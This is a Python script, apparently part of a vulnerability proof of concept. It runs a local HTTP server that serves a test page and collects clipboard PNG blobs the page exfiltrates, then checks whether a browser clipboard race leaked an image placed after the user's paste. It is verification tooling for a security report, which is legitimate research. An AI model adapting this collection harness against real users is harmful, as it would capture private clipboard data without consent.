#!/usr/bin/env python3
"""HTTP server for the clipboard-PNG sequence_number bypass POC.

Serves poc.html and receives the exfiltrated PNG blobs at POST /report.
When the 'after' blob matches png_b.png (the image placed on the OS
clipboard *after* the user pasted), the bug is confirmed.
"""
import hashlib
import http.server
import json
import os
import sys
import threading

ROOT = os.path.dirname(os.path.abspath(__file__))
PORT = int(os.environ.get("PORT", "8080"))

state = {"ready": threading.Event(),
         "window_open": threading.Event(),
         "done": threading.Event(),
         "result": None}


def _digest(b: bytes) -> str:
    return hashlib.sha256(b).hexdigest()


try:
    PNG_A = open(os.path.join(ROOT, "png_a.png"), "rb").read()
    PNG_B = open(os.path.join(ROOT, "png_b.png"), "rb").read()
except FileNotFoundError:
    PNG_A = PNG_B = b""

received = {}


class Handler(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *a, **kw):
        super().__init__(*a, directory=ROOT, **kw)

    def log_message(self, fmt, *args):
        sys.stderr.write("[http] " + (fmt % args) + "\n")

    def do_POST(self):
        length = int(self.headers.get("Content-Length", "0") or 0)
        body = self.rfile.read(length) if length else b""
        tag = self.path.split("tag=", 1)[1] if "tag=" in self.path else ""
        self.send_response(200)
        self.send_header("Content-Length", "2")
        self.end_headers()
        self.wfile.write(b"ok")

        if tag == "ready":
            print("[server] page ready")
            state["ready"].set()
        elif tag == "window-open":
            print("[server] race window OPEN — swap the OS clipboard PNG now")
            state["window_open"].set()
        elif tag in ("before", "after"):
            received[tag] = body
            print(f"[server] received '{tag}' blob: {len(body)} bytes "
                  f"sha256={_digest(body)[:16]}")
        elif tag == "done":
            try:
                info = json.loads(body.decode())
            except Exception:
                info = {}
            verdict = self._verdict()
            info["server_verdict"] = verdict
            state["result"] = info
            print("[server] ====================================================")
            print(f"[server] before blob: {len(received.get('before', b''))} bytes")
            print(f"[server] after  blob: {len(received.get('after', b''))} bytes")
            if PNG_A:
                print(f"[server] png_a.png : {len(PNG_A)} bytes "
                      f"sha256={_digest(PNG_A)[:16]} (what the user pasted)")
                print(f"[server] png_b.png : {len(PNG_B)} bytes "
                      f"sha256={_digest(PNG_B)[:16]} (placed AFTER paste)")
            print(f"[server] VERDICT: {verdict}")
            print("[server] ====================================================")
            state["done"].set()

    def _verdict(self) -> str:
        before = received.get("before", b"")
        after = received.get("after", b"")
        if not after:
            return "INCONCLUSIVE: no 'after' blob received"
        if PNG_B and after == PNG_B:
            return ("VULNERABLE: page received png_b.png — clipboard contents "
                    "placed AFTER the user's paste were disclosed to the page")
        if PNG_A and after == PNG_A:
            return "NOT REPRODUCED: 'after' blob still equals the originally pasted png_a.png"
        if before and after and before != after:
            return ("VULNERABLE: 'after' blob differs from 'before' blob — "
                    "page observed a clipboard generation it should not have")
        return "INCONCLUSIVE"


def run():
    httpd = http.server.ThreadingHTTPServer(("127.0.0.1", PORT), Handler)
    print(f"[server] listening on http://127.0.0.1:{PORT}/poc.html")
    httpd.serve_forever()


if __name__ == "__main__":
    run()
